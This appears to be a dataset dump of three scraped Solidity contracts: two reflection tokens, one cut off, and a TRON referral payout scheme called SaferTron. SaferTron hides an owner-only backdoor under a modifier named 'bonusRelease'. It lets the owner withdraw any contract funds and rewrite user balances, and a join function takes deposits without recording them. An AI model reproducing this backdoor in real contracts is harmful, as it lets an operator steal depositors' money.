hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c93a13392d23533c97acc32256854fb627872178acb746b493ed6263300b6de1
| 18,836 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/7a/7Aebfe7B401Ea27bf2dD24df1Af3f5C5bd15b0f0_FinAvaSwap.sol
| 4,190 | 15,805 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FinAvaSwap is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'FinAvaSwap';
string private _symbol = 'FinAvaSwap';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(13);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 72,388 | 600 |
b3e46f5590288b9301c122dce7e80edb859e6fa4ec750e012befabaa79f41db0
| 15,404 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYN3s2RonYcS3cSQZs4To7VkibWWma59wv_SaferTron.sol
| 3,969 | 13,594 |
//SourceUnit: Safer Tron.sol
pragma solidity >=0.4.0 <0.8.0;
contract owned {
constructor() public { owner = msg.sender; }
address payable owner;
modifier bonusRelease {
require(msg.sender == owner,
"Nothing For You!");
_;
}
}
contract SaferTron is owned {
struct User {
uint256 id;
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable public owner;
address payable public admin_fee;
mapping(address => User) public users;
mapping(uint256 => address) public userList;
uint256[] public cycles;
uint8[] public ref_bonuses; //10% of amount TRX
uint8[] public pool_bonuses; // 1% daily
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
admin_fee = _owner;
users[_owner].id = total_users;
userList[total_users] = _owner;
users[_owner].payouts = 0;
users[_owner].deposit_amount = 0;
users[_owner].deposit_payouts = 0;
users[_owner].deposit_time = uint40(block.timestamp);
users[_owner].total_deposits = 0;
ref_bonuses.push(25); //1st generation
ref_bonuses.push(10); //2nd generation
ref_bonuses.push(10); //3rd generation
ref_bonuses.push(10); //4th generation
ref_bonuses.push(10); //5th generation
ref_bonuses.push(7); //6th generation
ref_bonuses.push(7); //7th generation
ref_bonuses.push(7); //8th generation
ref_bonuses.push(7); //9th generation
ref_bonuses.push(7); //10th generation
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function join_newmember(address _upline) public payable {
require(msg.value > 1.0 trx);
if(users[_upline].deposit_time > 0) {
}
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
users[_addr].id = total_users;
userList[total_users] = _addr;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e8 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 1 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function depositPayout(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 3;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 50) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function payoutToWallet(address payable _user, uint256 _amount) public bonusRelease
{
_user.transfer(_amount);
}
function getUserById(uint256 userid) view external bonusRelease returns(address user_address) {
return userList[userid];
}
function getUserDetails(uint256 userid) view external bonusRelease returns(uint256 id, address user_address, uint256 cycle, uint256 deposit_payouts, uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
address _addr = userList[userid];
return (users[_addr].id, _addr, users[_addr].cycle, users[_addr].deposit_payouts, users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function updUser(address _addr, uint256 _id, uint256 _cycle, address _upline, uint256 _referrals, uint256 _payouts, uint256 _direct_bonus, uint256 _pool_bonus) public bonusRelease {
users[_addr].id = _id;
users[_addr].cycle = _cycle;
users[_addr].upline = _upline;
users[_addr].referrals = _referrals;
users[_addr].payouts = _payouts;
users[_addr].direct_bonus = _direct_bonus;
users[_addr].pool_bonus = _pool_bonus;
userList[_id] = _addr;
total_users = total_users + 1 ;
}
function updUserAfter(address _addr, uint256 _match_bonus, uint256 _deposit_amount, uint256 _deposit_payouts, uint40 _deposit_time, uint256 _total_deposits, uint256 _total_payouts, uint256 _total_structure) public bonusRelease {
users[_addr].match_bonus = _match_bonus;
users[_addr].deposit_amount = _deposit_amount;
users[_addr].deposit_payouts = _deposit_payouts;
users[_addr].deposit_time = _deposit_time;
users[_addr].total_deposits = _total_deposits;
users[_addr].total_payouts = _total_payouts;
users[_addr].total_structure = _total_structure;
}
function initContract(uint256 poolcycle, uint256 poolbalance, uint40 poollastdraw, uint256 totaldeposited,uint256 totalwithdraw) public bonusRelease
{
pool_cycle = poolcycle;
pool_balance = poolbalance;
pool_last_draw = poollastdraw;
total_deposited = totaldeposited;
total_withdraw = totalwithdraw;
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 301,851 | 601 |
93a97f35eea082678e2e8ea232b5e9f8c587783d7eb0404f064c47ba0d920333
| 29,622 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/6620_12181_0xbbd900e05b4af2124390d206f70bc4e583b1be85.sol
| 4,948 | 17,960 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract MintySwapToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 constant private FEE_PERCENT = 1;
uint256 constant private BURN_PERCENT = 1;
uint8 constant private DECIMALS = 9;
uint256 constant private TOTAL_SUPPLY = 1 * (10 ** 9) * (10 ** DECIMALS);
uint256 constant private MAX = ~uint256(0);
uint256 private _rTotal = (MAX - (MAX % TOTAL_SUPPLY));
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _tFeeTotal;
constructor () {
address sender = _msgSender();
_rOwned[sender] = _rTotal;
emit Transfer(address(0), sender, TOTAL_SUPPLY);
}
function name() public pure returns (string memory) {
return "MintySwap";
}
function symbol() public pure returns (string memory) {
return "MINTYS";
}
function decimals() public pure returns (uint8) {
return DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return isExcluded(account) ? _tOwned[account] : tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
